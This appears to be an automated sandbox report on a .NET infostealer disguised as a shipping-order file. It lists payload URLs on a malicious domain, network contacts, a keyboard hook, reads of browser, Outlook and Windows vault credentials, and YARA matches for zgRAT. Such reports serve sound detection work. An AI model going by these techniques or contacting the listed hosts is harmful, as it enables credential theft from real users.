Source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.1873279881.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://playerenterprises.org/BaseVirtualEnvironment/6621c520c9ebd.txt0
Source: ShippingOrder_ GSHS2400052.exe	String found in binary or memory: https://playerenterprises.org/BaseVirtualEnvironment/yummy.txt

Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443

Source: unknown	HTTPS traffic detected: 193.222.96.147:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.4:49732 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.ShippingOrder_ GSHS2400052.exe.13aa18a8.4.raw.unpack, abAX9N.cs	.Net Code: BFeixnEv
Source: 0.2.ShippingOrder_ GSHS2400052.exe.13047ee8.6.raw.unpack, abAX9N.cs	.Net Code: BFeixnEv

Installs a global keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 1.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.ShippingOrder_ GSHS2400052.exe.13aa18a8.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.ShippingOrder_ GSHS2400052.exe.13aa18a8.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.ShippingOrder_ GSHS2400052.exe.13047ee8.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.ShippingOrder_ GSHS2400052.exe.13047ee8.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.ShippingOrder_ GSHS2400052.exe.13031ab0.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.ShippingOrder_ GSHS2400052.exe.13031ab0.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: ShippingOrder_ GSHS2400052.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Code function: 0_2_00007FFD9B8A9F40	0_2_00007FFD9B8A9F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01154A98	1_2_01154A98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0115ADF0	1_2_0115ADF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01153E80	1_2_01153E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_011541C8	1_2_011541C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0115F8A5	1_2_0115F8A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_06413578	1_2_06413578
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_06415D30	1_2_06415D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_064145A0	1_2_064145A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_06411030	1_2_06411030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0641E0B9	1_2_0641E0B9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0641A140	1_2_0641A140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_064191E0	1_2_064191E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_06415650	1_2_06415650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0641C618	1_2_0641C618
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_06413C8F	1_2_06413C8F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_06410328	1_2_06410328

Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 6424 -s 2408

Source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2011142361.0000000013AA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename8854fa4e-ee03-4899-b0c3-2df80b3f7614.exe4 vs ShippingOrder_ GSHS2400052.exe
Source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2011142361.0000000013031000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSymbolDocumentGenerator.dll4 vs ShippingOrder_ GSHS2400052.exe
Source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2011142361.0000000013031000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename8854fa4e-ee03-4899-b0c3-2df80b3f7614.exe4 vs ShippingOrder_ GSHS2400052.exe
Source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2011142361.0000000013011000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSymbolDocumentGenerator.dll4 vs ShippingOrder_ GSHS2400052.exe
Source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2043218281.000000001B960000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameSymbolDocumentGenerator.dll4 vs ShippingOrder_ GSHS2400052.exe
Source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.1873279881.0000000007FB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename8854fa4e-ee03-4899-b0c3-2df80b3f7614.exe4 vs ShippingOrder_ GSHS2400052.exe

Source: 1.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.ShippingOrder_ GSHS2400052.exe.13aa18a8.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.ShippingOrder_ GSHS2400052.exe.13aa18a8.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.ShippingOrder_ GSHS2400052.exe.13047ee8.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.ShippingOrder_ GSHS2400052.exe.13047ee8.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.ShippingOrder_ GSHS2400052.exe.13031ab0.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.ShippingOrder_ GSHS2400052.exe.13031ab0.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT

Source: 0.2.ShippingOrder_ GSHS2400052.exe.13011a78.8.raw.unpack, m0AlqHNW5c0F66NVdaA.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.ShippingOrder_ GSHS2400052.exe.13011a78.8.raw.unpack, m0AlqHNW5c0F66NVdaA.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.ShippingOrder_ GSHS2400052.exe.13011a78.8.raw.unpack, m0AlqHNW5c0F66NVdaA.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.ShippingOrder_ GSHS2400052.exe.13aa18a8.4.raw.unpack, RsYAkkzVoy.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.ShippingOrder_ GSHS2400052.exe.13aa18a8.4.raw.unpack, Kqqzixk.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.ShippingOrder_ GSHS2400052.exe.13aa18a8.4.raw.unpack, xROdzGigX.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.ShippingOrder_ GSHS2400052.exe.13aa18a8.4.raw.unpack, ywes.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.ShippingOrder_ GSHS2400052.exe.13aa18a8.4.raw.unpack, iPVW0zV.cs	Cryptographic APIs: 'CreateDecryptor', 'TransformBlock'
Source: 0.2.ShippingOrder_ GSHS2400052.exe.13aa18a8.4.raw.unpack, 1Pi9sgbHwoV.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.ShippingOrder_ GSHS2400052.exe.13aa18a8.4.raw.unpack, YUgDfWK2g4.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.ShippingOrder_ GSHS2400052.exe.13aa18a8.4.raw.unpack, YUgDfWK2g4.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/5@3/3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Mutant created: NULL
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6424

Source: C:\Windows\System32\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\20b137fa-9b8e-4595-ab62-2d4bf784a153

Jump to behavior

Source: ShippingOrder_ GSHS2400052.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: ShippingOrder_ GSHS2400052.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ShippingOrder_ GSHS2400052.exe	ReversingLabs: Detection: 34%
Source: ShippingOrder_ GSHS2400052.exe	Virustotal: Detection: 42%

Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe

File read: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe "C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe"
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 6424 -s 2408
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior

Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: edputil.dll	Jump to behavior

Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: ShippingOrder_ GSHS2400052.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: ShippingOrder_ GSHS2400052.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: ShippingOrder_ GSHS2400052.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\computer\Desktop\Outputs\EemsbncoNl.pdb source: ShippingOrder_ GSHS2400052.exe
Source:	Binary string: System.Xml.ni.pdb source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: System.ni.pdbRSDS source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.PDB source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.1872745020.00000000010F4000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: SymbolDocumentGenerator.pdb source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2011142361.0000000013031000.00000004.00000800.00020000.00000000.sdmp, ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2011142361.0000000013011000.00000004.00000800.00020000.00000000.sdmp, ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2043218281.000000001B960000.00000004.08000000.00040000.00000000.sdmp, WER16C2.tmp.dmp.4.dr
Source:	Binary string: System.pdb0.7 source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: System.Net.Http.pdbMZ source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: .pdbm source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.1872745020.00000000010F4000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdb source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: \??\C:\Windows\symbols\exe\EemsbncoNl.pdbA source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2044055386.000000001C245000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.pdbMZ@ source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: System.Net.Http.pdb source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: EemsbncoNl.pdb source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: C:\Windows\EemsbncoNl.pdbpdboNl.pdb source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2044055386.000000001C245000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\EemsbncoNl.pdb source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2044055386.000000001C227000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.pdb source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: \??\C:\Windows\EemsbncoNl.pdbpdb source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2044055386.000000001C227000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: symbols\exe\EemsbncoNl.pdbb source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.1872745020.00000000010F4000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Xml.pdb source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: System.pdb source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: indoC:\Windows\EemsbncoNl.pdb source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.1872745020.00000000010F4000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: System.Core.ni.pdb source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: 8C:\Windows\EemsbncoNl.pdb source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.1872745020.00000000010F4000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbSystem.Xml.ni.dll source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: mscorlib.pdb` source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: mscorlib.pdb source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: System.Net.Http.ni.pdb source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: mscorlib.ni.pdb source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: System.Configuration.pdbShippingOrder_ GSHS2400052.exemscorlib.dll source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: \??\C:\Users\user\Desktop\EemsbncoNl.pdb source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2044055386.000000001C245000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ShippingOrder_ GSHS2400052.PDB@ source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.1872745020.00000000010F4000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: \??\C:\Windows\symbols\exe\EemsbncoNl.pdb` source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2044055386.000000001C245000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\computer\Desktop\Outputs\EemsbncoNl.pdb931}\ source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2044055386.000000001C1E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\exe\EemsbncoNl.pdb source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2044055386.000000001C227000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: System.Net.Http.ni.pdbRSDS source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: System.ni.pdb source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: \??\C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.PDB source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2044055386.000000001C227000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.ni.pdbRSDS source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: C:\Users\user\Desktop\EemsbncoNl.pdb@ source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.1872745020.00000000010F4000.00000004.00000010.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

